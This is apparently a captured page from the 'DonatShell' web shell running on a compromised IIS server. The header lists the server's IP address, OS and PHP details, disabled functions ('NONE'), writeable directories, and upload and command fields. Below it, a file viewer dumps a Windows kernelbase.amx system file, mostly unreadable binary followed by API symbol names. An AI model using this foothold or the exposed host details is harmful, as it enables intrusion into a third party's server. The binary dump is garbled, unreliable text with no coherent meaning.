DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.25
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/SysWOW64/manifeststore/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : C:/Windows/SysWOW64/manifeststore/kernelbase.amx
AMX1%6aHnK]c8X8$8|,HnK]c8$88\t
؎L
@l((
@((
@ݿ
@((
@ȸ (((((#((()(*
@+f,(,(-(.(/(0(((1	(	)
(
*(2
@3$,((4(((5(:((#	(	(
(
)(*
@;@(,(-(.(/(0(4((<	(	=
(
5(:(
(
1()(*(2	
@	>	,(	(4	(	(	(5	(:	(	(#		(	(	
(
?	(@	

@
A
_D(,
(-
(
(.
(/
(0
(4
(
	(	<

(
=
(5
(:

(

(1
(?
(@
(2

@B@(,(-(.(/(0(4((<	(	=
(
5(:(
(
1(?(@(2
@CD

@
EF
0
@G	(H(O(P(Q
@R

(H(O(S(P(Q
@T(H(O(S(P(U([(Q
@\(H(O(P(Q
@]
(H(O(S(P(Q
@^(H(O(S(P(U([(Q
@_L(H(O(`(a(b
@c(H(O(d(Q(e(f
@g8(H(O(S(d(Q(e(f
@h"	$(H(O(S(d(U([(Q(e	(	f
@iR(H(O(S(j(k
@l(m(n(o(s(t(u
@v(m(w(o(s(t	(u
@zl)({
(~((((((	(	
(
(Q
@(
@D()(
@a()(
@ 
@  ( !
@!!i (!"
@""("("("#
@##L(#(#$
@$$@%
@%% U&
@&&!(&(&'
@''"('('(
@((#K(((()
@))$t()()*
@**%u(*(*(*(*(*+
@++&t(+(+(+(+,
@,,':u(,-
@--(t(-.
@..)o(./
@//*(/(/0
@00+ 1
@11,(12
@22-(2(2(2(23
@33.%(3(34
@44/k(m4(4(45
@5500(56
@6617
@7728
@883!9
@994V:
@::5;
@;;6<
@<<7=
@=
=8(=(=>
@>>9(>(>(>(>(>(>?
@??:JY	$(?(?(?(?(?(?(?(?	(	?
@
@@@;(@(@(@(@(@A
@AA<(A(A(A(A(A(AB
@BB=y(B(BC
@CC>3(CD
@DD?(D(D(D(9D(D(DE
@EE@(E(E(EF
@F	FA	(
F(FG
@GGB(
G(GH
@HHC
(H(H(H(HI
@IID(I(I(I(IJ
@JJE(J(J(J(JK
@KKF(K(K(K(KL
@LLGq(L(L(L(L(L(L( LM
@M!MH_(M("M(#M($M(%M(M(&MN
@N'NI(N("N(#N($N(%N(NO
@O(OJֲ(O(O(O(O(O(O( OP
@P)PKu(*P(+P(,P(-PQ
@Q.QL4(/Q(0Q(QR
@R1RMp(/R(R(R(RS
@S2SNu(/S(S(S(ST
@T3TO(/T(0T(TU
@U4UP4~ (U(5U(6U(7U(8U(9U(:U(UV
@V;VQ8x(<V(=V(>V(?VW
@W@WRT(W(AW(BW(W(CW(WX
@XDXS (X(AX(BX(9X(EX(FX(CX(XY
@YGYT	$(Y(AY(BY(HY(IY(EY(FY(CY	(	YZ
@ZJZU6(KZ(LZ(MZ(NZ(OZ(PZ(QZ[
@[R[V. (K[(L[(M[(N[(O[(P[(S[(Q[\
@\Z\WK	$([\(=\(\\(]\(a\(b\(d\(e\	(	f\]
@]g]X(h](i]
(j]
(](](]^
@^k^Y6(L^(M^(N^(O^(P^(Q^_
@_l_Z(l(m_`
@`n`[la
@aoa\]n(pa(qa(ra(sab
@bwb]dm(xb(rb(sbc
@cyc^m(zc(rc(scd
@d{d_1m(|d(rd(sde
@e}e`>f
@f~faf(f(f(f(f(f(f(=fg
@ggb5(g(g(g(gh
@hhc(h(h(Qh(hi
@iid"j
@jjeTk
@kkfl
@llg"(l(l(lm
@mmh(Hm(mn
@nnio
@ooj"(op
@ppkՌ(pq
@qql(Sqr
@rrm](r(rs
@ssn
(s(s(st
@tto^p(tu
@uup(uv
@vvq (v(v(v(9v(v(8v(v(vw
@wwr(wx
@xxsy
@yytPz(yz
@zzux(z(z(z(z(z(z(z{
@{{vI([{({({|
@||w(|(|(|(|(|(|}
@}}x?~
@~~yj
@z
@{"((((((

@|((((
@} ((((
@~*((((

@(((
@Т(((
@((((

@((
@(((

@	((
@t(((
(
@T((
@((((

@z(((
@6(((

@(((
@((
@ʿ((
@i(
@"
@B(((?
@(((?
@((
@((
@!((
@((
@z(
@(
@(
((
@(
((
@((
@D((((((
@T((((((
@2((
@v(H(
@c((
@ ((!("(#($(%(&
@'(Y
(((!("(#($(%(&(	(	
(


@)(
@*Q((
@+((
@,a(-((
@.!(0(1((2
@3(4("(#($(%(
@5d(-
@6-(7
@8.(9
@:.(9
@;Y.(9(<
@=(
@>?c
@@(A(B
@C(D(E(F(G(H
@II<((J(K(L(M(?(N
@O7>((J(K(L(M(?(N
@P(Q
@R(Q
@S(
@Tv((U
@VW2
@X(Y
@Z[(Q
@[K
@\(H((
@](H(^(_(`
@ay((b(c
@d((e
@j_(((k
@oT((
@r(((((((
@dr((((((
@^
@i
@((M(?
@}((M(?
@((((((
@(((((((
@k((M
@Ğ((M
@t
@
@+
@+
@\(((((
@\((((
@(T((((
@lR(((((
@o_(
@pX(
@ޗ( 
@;
@;
@
@((M(?
@((M(?
@)((((
@t
@(K(
@*((
@%(
@(
@(((
@ŋ(((
@(
@b((!
@k((("(
@,(((((((
@((((
(
@[((
@N((
@((((
@(
@?((((
@N((((
@(((M(
@(((M(
@((	
@
Y((((
(
@)x
@
(Q
@9(
@((((
@Ms((((
@s=((((
@s((((
@U((M
@L
@($(&
@'((('(&
@7(8(9(:
@;(8(<(:
@=$(0(>(?
@?(0(>(?
@@(A
@B((C(D
@EB((F(D
@G(F	
@	H	S(I	(J	(	

@
K
S(I
(
(
-
@O}(P(Q(R(S(T
@U	}(P(V(W

@
X

4
(
(
(
(
.(Z
([

@\((((.(Z([
@]V
@^
u(((_(`
@a(K
@b((c(d(e(u
@f(0(g
@hF
@iF(j(k
@l}(m
@n\+(o
@p((q(r(s
@tz(K((u(v(w
@x(y
@z/m)((((
@)(((
@v((_(((
@#w((0((((
@@((( 
@  ( ( ( ( !
@!!(!(!(!"
@""/("#
@## (#(#(#$
@$$!&(0$($%
@%%"C(%(%(%(%&
@&&#(<&(8&(:&'
@'
'$(Q'(
@((%(~()
@))&(Q)()*
@**'(Q*+
@++((+1,
@,,)*(,-
@--*.(-(-(:-(-.
@..+Z(.(.(E.(F.(./
@//,](/(/(E/(F/(/0
@00-z(0(E0(F0(01
@11.&2
@22/&3
@330c4(3(34
@441J5
@552V(M5(56
@663,W(M6(67
@774(728
@885(8(q8(8(s89
@996(9:
@::7W(:(:(:;
@;;8g(;<
@<<9|W(M<(<=
@==:W(M=(=>
@>>;O(
>(>(>(>?
@??<'+(o?@
@@@=&A
@AA>(A(qA(rA(sAB
@BB?P)(BC
@CC@)(C(CD
@DDAFE
@EECόF
@FFBG
@GGD0(G3H
@HHE
(H(H (H3I
@IIFV(mI(I(I(I(uIJ
@JJGp(J(J(J(J(JK
@KKH'L
@L	LIY4M
@M
MJ4(M(MN
@NNKO
@OOL<(O(
O(O(O(OP
@PPMs/(P(
P(PQ
@QQN(Q(qQ(rQ(sQR
@RROS
@SSPA(S4T
@TTQ2(T5U
@UUR$] (U( U(!U("U(#U($U(%U(&UV
@V'VS_ (V( V(!V("V(#V($V(%V(&VW
@W(WTz()W(*W(WX
@X+XU(QX(X(,XY
@Y-YV-\(MY(YZ
@Z.ZWY\(MZ(Z[
@[/[X?(0[(1[\
@\2\Ya>(3\]
@]4]Z`A(M]6^
@^?@^[_
@_A_\F(B_(_`
@`C`]E(D`(E`(F`a
@aGa^E(Bab
@bHIb_c
@cJc`F(Bcd
@dKdaJH(Ld(Md(Nd(Od(ude
@ePQeb0f
@fRfcH(Lf(Mf(Nf(Ofg
@gSTgddh
@hUheE(Vh(=h(Wh7i
@i]ifF(Bij
@j^jgzF(Bj(j(_jk
@k`khG(Bk(ak8l
@ljli#(klm
@mlmj%(mmn
@nnnk(no
@oool(op
@pppm(Hp(qp(rpq
@qstqn(r
@ruroO(vr(yrs
@szspl(vs9(ys(st
@t{tq(St(|t(t(}tu
@u~urv
@vvsw
@wwt(w(wx
@xxu-	(_x({x
(~xy
@yywUz
@zzvj{
@{{xdj|
@||yxj}
@}}zj~
@~~{
@|Pj
@}9
@~u
@ ((((((((

@ޡ(((((((

@f((((
(
@l(((
@}(((
(
@܊(((((
(
@c((((((

@6(((
(
@ю
@a(
@((
@(
@Z(((((
@(((
@
@{(m
@(H
@(
@%((
@h1((
@r-(
@(((
@(
@(Q
@g(Q(
@(K(
@:!l
@8((((
@	((D(E(F(G(H
@	$((D(E(F(G(H((	(	

@j((D(E(F(G(H
@<
@
@T(((
@(((
@(0(
@;(((M(
@:(0((M((
@%(=((((:((
@(<(((M(
@H(0(
@n((
@a>(3
@=C(3
@J(3((0
@9D(3
@:9((
@(((((
@&((((((
@(
@((
@A,((((((((	(	
(
(
@(((
@~(P(
@(((((
@-((((((A
@4((((((A(&
@((((((
@O(
@w(
@$((=
@|	$((((	(
(((
	(	

@*(;(((
@a((
@
@	0(
@w((=
@iv((=
@l.((
@+((<($(%;
@&em((('
@(~#(=
@)ξ(,(-(*
@+(,(-(*
@,0(,(-(.(/(((()	(	y
(
1(-(*
@.(,(-(((y(-
@/
(((
@0H(((
@1(((
@2(((
@3(((4
@5(((m
@6
-(7(8(9(:(;
@<(((
@=~((((>
@?%(k((@(m
@A	(((
@B%(C
@D((C
@Eȃ((M(F(G(H(I
@Ju(((K(
@L)((M(N
@OJ(,(P((y(-
@Q6(4(R
@S(
@TU
@Vi(((W
@XY?
@Z[z
@\|(K(	
@](c(
@^l(_(`=
@do-(e((f
@g϶(h(i(j(N
@k((M(l(m(
@nj((M(l((o
@p*((q>(l((
@t(K(A(M(?(m
@u(((v((
@w(x
@yz
@{|
@}~
@G((
(

@[
@D(

@(

@g(
@l;(((
@+(
@
@+N(((((M(
@(H(^(_(`
@6((((
@,
@(

@v(

@(
@j(
@((
@G((
@t(
@=(
@
@B	
@		|

@

	l(
(	

@
|((	
@)((((

@

O(
(

(

(

@
q((#(#(
@((c(
@	((((
@q((
@(
@(((
@+((c(0
@!
@(
@h(((
@z((((
@(K(
@?(c((((C
@s(c(((F((C
@.(K(
@((
@(c(
@n((( 
@  ( ( ( ( !
@!! (!(!(!"
@""!("("("#
@##"K(0#(#$
@$$#($($($($%
@%%$(%(%&
@&&%,(&(&(&'
@''&4('(
@(('3(((()
@))()()()*
@**)%(*+
@++*(o+(C+,
@,,+l(_,(`,=-
@--,`.
@..-Ul(_.(./
@//.0
@00/1
@110(m1(1(1(12
@221i
(2(2#(2
(2(2(23
@332(3(3#(3
(3(3(3?(34
@443;(04(45
@5545(56
@665+(6(67
@776(7(7(7(7(7(78
@887P9
@998:
@::9+(:;
@;;:.<
@<<;(<(<=
@==<6(=3(=(=>
@>>=(K>(>?
@??>*(?(U?@
@@@?)5A
@AA@,(AB
@B	BA,(BC
@C
CB5(C(CD
@DDC{(D(D(9D(D(8D(GD(DE
@E
ED]F
@FFEG
@GGFH
@HHGm(H(rH(sHI
@IIH,(I3(I(IJ
@JJI(J(J(J(J(JK
@KKJ(K(K(K(K(KL
@LLK>(ALM
@MMLc(M(MN
@NNM(SN(N(N(N(N( N(!NO
@O"ON6(#O($O(%OP
@P&PO;5(#P($P(%PQ
@Q'QPe((Q(Q()Q(#QR
@R*RQ(KR((R(R()R(#RS
@S+SR	(KS((S(S()S(#S(&ST
@T,TS((T(T(-TU
@U.UTt(KU((U(U(-UV
@V/VU&((V(V(0V(1VW
@W2WV(KW((W(W(0W(1WX
@X3XWG((X(MX@(6XY
@Y;YXs(KY((Y(MY@(6YZ
@Z<ZYb(=Z(>Z(?Z(Z(Z[
@[@[Z[([([\
@\A\[~(\(\(\]
@]BC]\^
@^DE^]_
@_FG_^`
@`HI`_,a
@aJa`(Ka(Lab
@bMba (b(b(b(b(b(b(Nb(Obc
@cPcb(Qcd
@dRdc(Qde
@eSed(e(Me(Te(Ue(ef
@fVfe
(f(Mf(Tf(f(ofg
@gWgf(g(qg>(Tg(g(gh
@hXhg	(Kh(Ah(Mh(?h(Uhi
@iYZih(i(ij
@jZji(j(jk
@k[kj(k(kl
@l\]lkB(l(lm
@m]mlB(m(mn
@n^nm(n(no
@o_`on(o(o(aop
@p`po(p(p(apq
@qbqp|(q(q(aqr
@rcdrq0(rs
@sdsr0(st
@tets(t'68L@DeX		,X
	,X	,	,	, 	,!	,"X$	,%X6	,7XI	,J	,J	,K	,L	,M	,NXV	,W	,W	,X	,Y	,ZXp	,q	X	x	,%	
X
|	,}
	,}
X	,	,	,
X	,	,
X
	,
X	,	,	,	,	,	,	,X	,	,	,X	,	,	,	,X	,
	,
	,	,XT	,UX^	,_	,_	,`Xc	,	,	,`Xt	,uX	,X	,	,	,	,	,	,	,
	,	,X@
	,		,		,
	,	,	,
	, 	,$	,(		,	,
	,
0XP
	,		,		,
	,	,	,
	, 	,$	,(		,	,
	,
4X/	,	,Xf	,g	,g	,h	,iXl 	,g	,g	,h	,i	,m	,	,nXpH	,q	,q	,r	,s	,t	,u	,v	,w	,x		,	y
	,
z 	,{$	,|(
	,
},	,~0	,4	,8	,<	,@	,DX 	,	,	,	,	,	,	,	,	,X	, X 		, 
	, 
	, @	, D	, 
T	, @X	, 	, 
	, 		,	 !X!4
	,	!	,	!	,
!	,!	,!	,!	,
! 	,!$	,!(		,	!,
	,
!0"X"P
	,"	,"	,"	,"	,"	,"	,",	,"0	,"4		,	"8
	,
"<	,"@	,"D
	,
"H#X#	,#$X$	,$	,$	,$	,$%	,$%	, $&	,%$%X%&X&!	,7&	,7&	,"&	,#&	,c&	,$&'X')L	,'	,'	,c'	,*'($	,')$	, '+,	,2',D(X(+	,=()X)-$	,.)	,.)	,%)	,,)**X*/+X+0,	,7+	,7+	,"+	,#+	,1+	,$+	,%+	,,+* ,X,3	,4,-X-L 	,-	,-	,-	,-	,M-	,N-.X.Y	,.	,.	,.	,.	,.	,.	,./X/{	,|/	,|/	,}/	,~/	,/	,/	,/
	,/0X0	,0	,0	,0	,0	,01X1D	,1	,1	,1	,1	,1	,1	,1	,1	,1		,	1 
	,
1$	,1(	,1,
	,
10	,12	,14	,18	,1<	,1@2X2$	,2	,2	,2	,2	,2	,2	,2	,2	,2		,	2
	,
2	,2 	,2"3X3	,3
	,3
	,3@	,3D	,3
T	,3@X	,3	,3
4X4	,4	,4	,4	,4	,4	,4	,45X5	,5	,5	,5	,5	,5	,5	,56X65@		,66	,66	,76	,86	,96	,:6	,;6 	,<6(	,=60		,	>687X7X	,7	,7	,Y7	,Z7	,[7	,\78X8b	,c8	,c8	,d8	,e8	,f8		,g8
	,h8%	,i8%9X9w	,x9:X:	,:;X;	,;	,;	,c;	,%;<X<	,<	,<	,u<	, <	,7<	,!<	,"<	,#<=X=a	,b=	,b=	,c=>X>r	,>	,>	,s>?X?	,u?	,u?	,=?	,?%@X@4	,5@	,5@	,6@	,7@	,8@	,9@	,:@	,$@?m8epj<unnamed-tag>"<unnamed-type-u>AbbreviatedAccessCheck+4AccessCheckAndAuditAlarmW3$AccessCheckByType;@AccessCheckByTypeAndAuditAlarmW>8AccessCheckByTypeResultListAdAccessCheckByTypeResultListAndAuditAlarmByHandleWBTAccessCheckByTypeResultListAndAuditAlarmW-AccessGrantedPAccessMask*AccessStatus@"AccessStatusListMAceCountSAceFlagsJAclRevisionLAclSizeC0AcquireSRWLockExclusiveE*AcquireSRWLockShared5"ActiveGroupCountG(AddAccessAllowedAceR,AddAccessAllowedAceExT4AddAccessAllowedObjectAce\&AddAccessDeniedAce]*AddAccessDeniedAceEx^2AddAccessDeniedObjectAce_AddAcec$AddAuditAccessAceg(AddAuditAccessAceExh0AddAuditAccessObjectAcei AddMandatoryAcel$AdjustTokenGroupsv,AdjustTokenPrivilegessAlignmentz2AllocateAndInitializeSid0AllocateLocallyUniqueId6AllocationBase7$AllocationProtectAppName,AreAllAccessesGranted,AreAnyAccessesGranted AreFileApisANSI"AssociativityAttributeVAttributeCountRAttributeNameQAttributeTypeSAttributeValueT*AttributeValueLength`Attributes<AuditTypeF"AutoInheritFlags5BaseAddress BaseDefaultPath,BaseDllFreeResourceId,BaseDllMapResourceIdW,BaseGetProcessDllPath,BaseGetProcessExePathBBaseInvalidateDllSearchPathCacheJBaseInvalidateProcessSearchPathCache4BaseReleaseProcessDllPath4BaseReleaseProcessExePath
Beep"BemCopyReference,BemCreateContractFrom&BemCreateReference BemFreeContract"BemFreeReference
BiashBlock4Branch name 'win7sp1_rtm'BuffersBufferLength Cache
CacheOffset1CacheSizeCalNumCalTypeCalendar{*CalendarEraDataItemsp*CalendarNlsDataItemsCallback&CallbackMayRunLongCancelIoEx&CancelThreadpoolIo(CancelWaitableTimer,ChangeTimerQueueTimer Channel0CheckGroupPolicyEnabled*CheckTokenMembershipV&ClientComputerNameW2ClientComputerNameLengthClientTokenCloseHandle CloseThreadpool8CloseThreadpoolCleanupGroupFCloseThreadpoolCleanupGroupMembers$CloseThreadpoolIo*CloseThreadpoolTimer(CloseThreadpoolWait(CloseThreadpoolWorkCodePagenCodePageName CompareFileTimeCompareStringA CompareStringEx*CompareStringOrdinalCompareStringW CompletionEvent,CompletionKeyCompletionPort"ConnectNamedPipevContext&Control,ControlBitsOfInterest"ControlBitsToSet*ConvertDefaultLocaleTConvertToAutoInheritPrivateObjectSecurityCopySid	"CreateDirectoryA"CreateDirectoryWCreateEventACreateEventExACreateEventExWCreateEventWCreateFileA!.CreateFileMappingNumaW'&CreateFileMappingW(CreateFileW).CreateIoCompletionPort.CreateMutexA1CreateMutexExA2CreateMutexExW3CreateMutexW4"CreateNamedPipeW;CreatePipe@8CreatePrivateObjectSecurityD<CreatePrivateObjectSecurityExGfCreatePrivateObjectSecurityWithMultipleInheritanceJ&CreateRemoteThreadR*CreateRemoteThreadExZ,CreateRestrictedTokeng&CreateSemaphoreExWkCreateThreadl"CreateThreadpooln:CreateThreadpoolCleanupGroupo&CreateThreadpoolIow,CreateThreadpoolTimery*CreateThreadpoolWait{*CreateThreadpoolWork}"CreateTimerQueue~,CreateTimerQueueTimer.CreateWaitableTimerExW&CreateWellKnownSidA$CreatorDescriptor4CurrentSecurityDescriptorWData1XData2YData3ZData4DataSizeDataTypeDaylightBiasDaylightDateDaylightNameDebugBreakxDebugInfoDecodePointer(DecodeSystemPointerhDefaultChar"DefineDosDeviceWDeleteAce,DeleteCriticalSectionDeleteFileADeleteFileWa*DeletePrivilegeCount<DeleteProcThreadAttributeList&DeleteTimerQueueEx,DeleteTimerQueueTimer0DeleteVolumeMountPointWe"DescriptorLengthDesiredAccess:DestroyPrivateObjectSecurity DeviceIoControlDirectoryw*DisableAllPrivileges\ DisableSidCount4DisableThreadLibraryCallsLDisassociateCurrentThreadFromCallback(DisconnectNamedPipeDueTime DuplicateHandleDuplicateToken"DuplicateTokenEx*DuplicateTokenHandle8DynamicDaylightTimeDisabledEncodePointer(EncodeSystemPointer*EnterCriticalSection*EnumCalendarInfoExEx(EnumCalendarInfoExW$EnumCalendarInfoW(EnumDateFormatsExEx&EnumDateFormatsExW"EnumDateFormatsW4EnumLanguageGroupLocalesW*EnumSystemCodePagesW4EnumSystemLanguageGroupsW&EnumSystemLocalesA(EnumSystemLocalesEx&EnumSystemLocalesW$EnumTimeFormatsEx"EnumTimeFormatsW"EnumUILanguagesWEnvironmentEqualDomainSidEqualPrefixSidEqualSidEraIndexEraNumEtwRegHandleExeName+.ExistingCompletionPort[(ExistingTokenHandleExitProcessExitThread4ExpandEnvironmentStringsA4ExpandEnvironmentStringsWY.ExtendedFlagsAttributeFatalAppExitAFatalAppExitW*FileHandle*FileInformationClass0FileTimeToLocalFileTime*FileTimeToSystemTimeFindClose8FindCloseChangeNotification:FindFirstChangeNotificationA:FindFirstChangeNotificationWFindFirstFileA"FindFirstFileExA"FindFirstFileExWFindFirstFileW"FindFirstFreeAce"FindFirstVolumeW FindNLSString' FindNLSStringEx)6FindNextChangeNotification*FindNextFileA+FindNextFileW, FindNextVolumeW. FindResourceExW3$FindStringOrdinal5 FindVolumeClose=Flags6FlsAlloc8FlsFree:FlsGetValue;FlsSetValue="FlushFileBuffers>2FlushProcessWriteBuffers@ FlushViewOfFileCFoldStringWIFormatMessageAOFormatMessageWP0FreeEnvironmentStringsAR0FreeEnvironmentStringsWSFreeLibraryT2FreeLibraryAndExitThreadV>FreeLibraryWhenCallbackReturnsXFreeResourceZFreeSidFunction* GenerateOnClose"GenericAll!GenericExecuteGenericMappingGenericRead GenericWrite[GetACP\GetAce]$GetAclInformationa4GetCPFileNameFromRegistryGetCPHashNodedGetCPInfojGetCPInfoExWoGetCalendar$GetCalendarInfoEx"GetCalendarInfoW GetCommandLineA GetCommandLineW&GetComputerNameExA&GetComputerNameExW(GetCurrencyFormatEx&GetCurrencyFormatW*GetCurrentDirectoryA*GetCurrentDirectoryW$GetCurrentProcess(GetCurrentProcessId"GetCurrentThread&GetCurrentThreadId$GetDiskFreeSpaceA(GetDiskFreeSpaceExA(GetDiskFreeSpaceExW$GetDiskFreeSpaceWGetDriveTypeAGetDriveTypeW<GetDynamicTimeZoneInformation,GetEnvironmentStrings.GetEnvironmentStringsA.GetEnvironmentStringsW0GetEnvironmentVariableA0GetEnvironmentVariableW0GetEraNameCountedStringGetErrorMode&GetExitCodeProcess$GetExitCodeThread.GetFallbackDisplayName&GetFileAttributesA*GetFileAttributesExA*GetFileAttributesExW&GetFileAttributesW6GetFileInformationByHandleGetFileMUIInfoGetFileMUIPath"GetFileSecurityWGetFileSizeGetFileSizeExGetFileTimeGetFileType4GetFinalPathNameByHandleA4GetFinalPathNameByHandleW"GetFullPathNameA"GetFullPathNameW*GetHandleInformation
0GetKernelObjectSecurityGetLastError
GetLengthSidGetLocalTimeGetLocaleInfoA GetLocaleInfoEx(GetLocaleInfoHelperGetLocaleInfoW0GetLogicalDriveStringsW"GetLogicalDrives>GetLogicalProcessorInformation'BGetLogicalProcessorInformationEx7"GetLongPathNameA;"GetLongPathNameW=&GetModuleFileNameA?&GetModuleFileNameW@"GetModuleHandleAB&GetModuleHandleExAE&GetModuleHandleExWG"GetModuleHandleWHGetNLSVersionK GetNLSVersionEx.GetNamedLocaleHashNodeO,GetNamedPipeAttributeU@GetNamedPipeClientComputerNameWX$GetNumberFormatEx\"GetNumberFormatW]GetOEMCP^(GetOverlappedResulta"GetPriorityClassb2GetPrivateObjectSecurityfGetProcAddresshGetProcessHeapi GetProcessHeapslGetProcessIdn*GetProcessIdOfThreadp>GetProcessPreferredUILanguagest GetProcessTimesx$GetProcessVersionzGetPtrCalData&GetPtrCalDataArray4GetQueuedCompletionStatus8GetQueuedCompletionStatusEx:GetSecurityDescriptorControl4GetSecurityDescriptorDacl6GetSecurityDescriptorGroup8GetSecurityDescriptorLength6GetSecurityDescriptorOwner>GetSecurityDescriptorRMControl4GetSecurityDescriptorSacl$GetShortPathNameW4GetSidIdentifierAuthority*GetSidLengthRequired&GetSidSubAuthority0GetSidSubAuthorityCount GetStartupInfoWGetStdHandle(GetStringTableEntryGetStringTypeA"GetStringTypeExWGetStringTypeW*GetSystemDefaultLCID.GetSystemDefaultLangID6GetSystemDefaultLocaleName6GetSystemDefaultUILanguage(GetSystemDirectoryA(GetSystemDirectoryWGetSystemInfo<GetSystemPreferredUILanguagesGetSystemTime0GetSystemTimeAdjustment0GetSystemTimeAsFileTime6GetSystemWindowsDirectoryA6GetSystemWindowsDirectoryW"GetTempFileNameWGetThreadId GetThreadLocale<GetThreadPreferredUILanguages$GetThreadPriority.GetThreadPriorityBoost(GetThreadUILanguageGetTickCountGetTickCount64.GetTimeZoneInformation<GetTimeZoneInformationForYear(GetTokenInformation$GetUILanguageInfo&GetUserDefaultLCID	*GetUserDefaultLangID
2GetUserDefaultLocaleName2GetUserDefaultUILanguageGetUserInfo GetUserInfoWord8GetUserPreferredUILanguagesGetVersionGetVersionExAGetVersionExW<GetVolumeInformationByHandleW',GetVolumeInformationW(&GetVolumePathNameW+6GetWindowsAccountDomainSid-*GetWindowsDirectoryA.*GetWindowsDirectoryW/GlobalAlloc2GlobalFree4*GlobalMemoryStatusEx)GrantedAccess?$GrantedAccessList2GroupqGroupCount6GroupInfo,GroupMaskGroupingrGroupsIGuidCountHINSTANCE__/HRSRC__Handle-HandleIdV
Heap?HeapAllocAHeapCompactCHeapCreateGHeapDestroyHHeapFreeLHeapHandleN HeapInformationM*HeapInformationClassO,HeapInformationLengthJHeapLockK*HeapQueryInformationPHeapReAllocR&HeapSetInformationSHeapSizeUHeapSummary]HeapUnlock^HeapValidate`HeapWalkHighPartIdj4ImpersonateAnonymousTokenl0ImpersonateLoggedOnUsern6ImpersonateNamedPipeCliento ImpersonateSelf&ImpersonationLevel[0InheritedObjectTypeGuidpInitializeAcls4InitializeCriticalSectionuLInitializeCriticalSectionAndSpinCountz8InitializeCriticalSectionEx{DInitializeProcThreadAttributeList~(InitializeSListHead$InitializeSRWLock:InitializeSecurityDescriptorInitializeSid6InterlockedCompareExchange:InterlockedCompareExchange64*InterlockedDecrement(InterlockedExchange.InterlockedExchangeAdd,InterlockedFlushSList*InterlockedIncrement2InterlockedPopEntrySList4InterlockedPushEntrySList2InterlockedPushListSListInternalInternalHigh&InternalLcidToName4Internal_EnumCalendarInfo2Internal_EnumDateFormatsDInternal_EnumLanguageGroupLocales:Internal_EnumSystemCodePagesDInternal_EnumSystemLanguageGroups6Internal_EnumSystemLocales2Internal_EnumTimeFormats2Internal_EnumUILanguages4InvalidateTzSpecificCacheE$IsContainerObjectIsDBCSLeadByte"IsDBCSLeadByteEx$IsDebuggerPresent$IsDirectoryObjectIsMember&IsNLSDefinedString'IsPointCreatedIsProcessInJob*IsThreadpoolTimerSet$IsTokenRestrictedIsValidAcl IsValidCodePage*IsValidLanguageGroupIsValidLocale$IsValidLocaleNameDIsValidRelativeSecurityDescriptor4IsValidSecurityDescriptorIsValidSidIsWellKnownSidIsWow64ProcessJobHandle0KernelBaseGetGlobalData#Keyword
LCID"LCIDToLocaleNameLCMapStringALCMapStringExLCMapStringWLCTypeLanguageLanguageGroupWLastAttributeiLeadByteLeadingZero*LeaveCriticalSectionPLeaveCriticalSectionWhenCallbackReturns7Level#LineSizeLoadLibraryExALoadLibraryExWLoadResourceLoadStringA$LoadStringBaseExW,LoadStringByReferenceLoadStringWLocalAlloc0LocalFileTimeToFileTimeLocalFreeLocalLockLocalReAllocLocalUnlockLocale"LocaleNameToLCIDLockFileLockFileExLockResourceLowPart
LuidMakeAbsoluteSD MakeAbsoluteSD2&MakeSelfRelativeSDj MandatoryPolicyMapGenericMaskMapViewOfFile MapViewOfFileEx(MapViewOfFileExNumagMaxCharSize4$MaximumGroupCount.ModificationDescriptor(MultiByteToWideChar?BNTDLL.NtFlushProcessWriteBuffersDBNTDLL.RtlAcquireSRWLockExclusiveF<NTDLL.RtlAcquireSRWLockShared@,NTDLL.RtlAllocateHeap.NTDLL.RtlDecodePointer:NTDLL.RtlDecodeSystemPointer>NTDLL.RtlDeleteCriticalSection.NTDLL.RtlEncodePointer:NTDLL.RtlEncodeSystemPointer<NTDLL.RtlEnterCriticalSection0NTDLL.RtlExitUserThreadI$NTDLL.RtlFreeHeaptFNTDLL.RtlInitializeCriticalSection:NTDLL.RtlInitializeSListHead6NTDLL.RtlInitializeSRWLockLNTDLL.RtlInterlockedCompareExchange64>NTDLL.RtlInterlockedFlushSListDNTDLL.RtlInterlockedPopEntrySListFNTDLL.RtlInterlockedPushEntrySListDNTDLL.RtlInterlockedPushListSList<NTDLL.RtlLeaveCriticalSectionU2NTDLL.RtlQueryDepthSListYBNTDLL.RtlQueryPerformanceCounter[FNTDLL.RtlQueryPerformanceFrequencyQ0NTDLL.RtlReAllocateHeap|BNTDLL.RtlReleaseSRWLockExclusive~<NTDLL.RtlReleaseSRWLockSharedJNTDLL.RtlSetCriticalSectionSpinCount6NTDLL.RtlSetLastWin32ErrorT$NTDLL.RtlSizeHeapHNTDLL.RtlTryAcquireSRWLockExclusiveBNTDLL.RtlTryAcquireSRWLockSharedBNTDLL.RtlTryEnterCriticalSectionbNTDLL.TpCallbackLeaveCriticalSectionOnCompletionzRNTDLL.TpCallbackReleaseMutexOnCompletionZNTDLL.TpCallbackReleaseSemaphoreOnCompletionJNTDLL.TpCallbackSetEventOnCompletionWLNTDLL.TpCallbackUnloadDllOnCompletion>NTDLL.TpCancelAsyncIoOperation:NTDLL.TpDisassociateCallback&NTDLL.TpIsTimerSet"NTDLL.TpPostWork8NTDLL.TpReleaseCleanupGroupFNTDLL.TpReleaseCleanupGroupMembers8NTDLL.TpReleaseIoCompletion(NTDLL.TpReleasePool*NTDLL.TpReleaseTimer(NTDLL.TpReleaseWait(NTDLL.TpReleaseWork4NTDLL.TpSetPoolMaxThreads"NTDLL.TpSetTimer NTDLL.TpSetWait<NTDLL.TpStartAsyncIoOperationC8NTDLL.TpWaitForIoCompletionE*NTDLL.TpWaitForTimerG(NTDLL.TpWaitForWaitI(NTDLL.TpWaitForWorkNameType@NeedCurrentDirectoryForExePathA@NeedCurrentDirectoryForExePathWNegativeOrderBNewDescriptorNewEnvironment,NewSecurityDescriptoroNewStatefNewTokenHandleNlsCheckPolicy0NlsDispatchAnsiEnumProc.NlsEventDataDescCreate(NlsGetACPFromLocale.NlsGetCacheUpdateCount.NlsIsUserDefaultLocale 